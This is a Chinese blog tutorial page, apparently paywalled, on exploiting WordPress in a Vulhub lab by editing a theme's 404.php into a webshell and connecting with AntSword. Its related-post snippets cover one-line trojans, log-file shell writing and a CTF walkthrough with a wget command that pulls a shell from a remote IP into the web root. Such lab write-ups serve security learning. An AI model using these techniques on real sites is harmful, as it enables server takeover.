常见CMS漏洞（一）：WordPress

最新推荐文章于 2025-12-16 18:16:00 发布
原创 最新推荐文章于 2025-12-16 18:16:00 发布 · 333 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#WordPress #CMS漏洞 #靶场

简介

WordPress是⼀个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。WordPress具

有插件架构和模板系统。

利用方法：

姿势一：后台修改模板拿WebShell

进⼊Vulhub靶场并执行以下命令开启靶场 
cd /vulhub/wordpress/pwnscriptum
docker-compose up -d

上传后点击更新按钮，然后访问

http://8.130.17.222:8080/wp-content/themes/twentyfifteen/404.php

然后连接蚁剑即可

</
最低0.47元/天 解锁文章
WordPress_depicter Sql注入漏洞复现（CVE-2025-2011）
iSee857的博客
05-07 485
由于对用户提供的参数的转义不足和对现有SQL查询的准备不足，WordPress的Depicter插件在所有版本（包括3.6.1）中都容易受到通过's'参数的通用SQL注入的影响。这使得未经身份验证的攻击者能够将其他 SQL 查询附加到现有查询中，这些查询可用于从数据库中提取敏感信息。（CVE-2025-2011）
攻击 WordPress 目标的 5 种方法
技术超强的网络安全平台
04-27 1012
WordPress 是一款功能强大的内容管理系统 (CMS)，其丰富的插件市场提供超过 7 万个插件，用户可根据需要进行定制。WordPress 可以用作电商网站、提升企业在线形象的落地页，或仅仅作为博客平台。如今，在线 WordPress 实例数量超过 5 亿，占在线网站的 30% 以上。然而，许多 WordPress 实例并未得到应有的安全关注，部分原因是由于缺乏对 WordPress 目标中常见漏洞的了解。WordPress 登录页面示例。
常见CMS漏洞：WordPress
muxixin的博客
03-20 217
依次点击图中框，输入木马在访问时加上/wp-content/themes/twentyfifteen/404.php。
wordpress模板的网站漏洞
weixin_64158899的博客
06-30 434
wordpress
wordpress 漏洞_WordPress漏洞分析
weixin_42514783的博客
01-26 5922
根据CVE官方漏洞通报得知wordpress新出一个组合式rce漏洞，漏洞编号分别为CVE-2019-8943和CVE-2019-8942，下载漏洞版本源码，分析漏洞触发过程，注：漏洞复现时一定要断网搭建，wordpress在联网状态时会自动更新代码包。找到漏洞发生文件 post.php，wordpress有多个post.php文件，这里简要说明一下各自的作用，wp-includes/post.p...
常见的CMS漏洞
C233333235的博客
08-03 1022
通过⽇志⽂件拿Shell 利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改 这个存放位置，并且可以修改它的后缀名。查到数据库位置后，就可以大概猜测一下网站的根目录，一般www目录在phpstudt_pro下，是Extensions的同级目录。以确认我们的修改生效了，修改成功后，日志文件的后缀就被修改成了php，那么其中的php语句就会被运行。这样日志文件中就会有这个一句话木马的字样，我们去访问日志文件后，就可以进行连接获取shell。
WordPress 插件遭到大规模的入侵，百万级 WP 网站被嵌入恶意代码
Barry000789的博客
07-02 677
然后在直接在插件代码中植入恶意代码，所以很难被发现，当插件提示升级后，并不知道，此次更新是来自黑客入侵植入代码后版本。这里并不是指 WordPress 用户安装了插件后被入侵，而是 WP 插件的开发者账户被入侵，然后在插件中植入了代码，从而影响了 WordPress 安装了这些插件的用户。Wordfence 是专门为 WordPress 提供安全服务的，从目前他们公布及我从其它渠道收集过来确认被植入恶意代码的插件有以下这些，我会持续关注该事件，并更新相关被植入恶意代码的 WordPress 插件。
WordPress漏洞
weixin_53198216的博客
08-03 259
3.选择一个修改文件内容为一句话木马后更新文件。4.访问文件显示证明注入成功。2.进入外观下的编辑。
CMS漏洞：wordpress01
zh的博客
10-15 1031
靶场地址：http://whalwl.site:8041/ 解题准备：准备POC 解题思路： 1、抓包，准备修改数据包 执行命令，远程下载一个shell，到靶场网站根目录。 /usr/bin/wget --output-document /var/www/html/999.php 167.160.xxx.217/999.txt 2、具体请求包： POST /wp-login.php?action=lostpassword HTTP/1.1Host: target(any -fr...
常见CMS漏洞（wordpress,DedeCms,ASPCMS,PHPMyAdmin）
qq_54694921的博客
12-28 802
常见CMS漏洞（wordpress,DedeCms,ASPCMS,PHPMyAdmin保姆级漏洞探测
WPintel：WordPress漏洞扫描与信息收集Chrome扩展解析
WordPress是一个非常流行的开源内容管理系统（CMS），由于其广泛的使用，它也成为黑客攻击的常见目标。因此，及时发现并修复WordPress网站中的安全漏洞是维护网站安全的重要环节。 WPintel扩展程序能够检测...
wordpress主题中文截断很好的CMS主题:Aureola
03-03
在使用WordPress搭建中文站点时，一个常见的问题是文章标题或摘要等文本内容的截断处理。如果处理不当，可能会导致文字显示不全或者格式混乱等问题。Aureola主题在这方面表现得尤为出色，它采用了智能的中文截断算法...
[漏洞分析]WordPress未经身份验证的远程代码执行CVE-2024-25600
网络安全知识分享
03-14 2314
Bricks
从WordPress插件漏洞到数据库凭据提取(一句话木马）
最新发布
2503_92552687的博客
12-16 1033
在完成前期信息收集（目标识别、端口扫描、CMS确认）和初步渗透（Wireshark流量分析、获取后台登录凭据）后，我们已成功登录目标WordPress网站的后台。：这行代码构成了一个基础的“一句话木马”，攻击者可以通过向此文件发送特定POST请求，在服务器上执行任意命令。这证明了文件已成功部署在服务器上，并且该目录具有“目录浏览”漏洞，暴露了文件列表。：从Web后台管理权限，通过文件上传漏洞获得了服务器级别的命令执行权限。”，证明Webshell已激活，蚁剑成功获得了与目标服务器的交互通道。
简单了解cms，复现vulhub中的wordpress漏洞
weixin_64655821的博客
09-12 1232
简单了解cms，复现vulhub中的wordpress漏洞
Wordpress漏洞复现
热门推荐
weixin_52194536的博客
09-10 1万+
cms漏洞
CMS知识小结及wordpress的安装与漏洞复现
人若有志,就不会在半坡停止。
09-11 3135
CMS是Content Management System的缩写，意为"内容管理系统"，是一种帮助用户创建、管理和修改网站内容而无需专业技术知识的软件。内容管理系统是一种位于WEB 前端（Web服务器）和后端办公系统或流程（内容创作、编辑）之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet（外网）网站的信息。
Puock主题：WordPress高颜值自适应设计
WordPress是一种使用PHP语言开发的开源内容管理系统（CMS），被广泛用于博客、企业网站、在线商店等网站的建设。主题是WordPress的一个核心概念，它控制着网站的外观和布局。一个主题包括页面模板、样式表（CSS文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值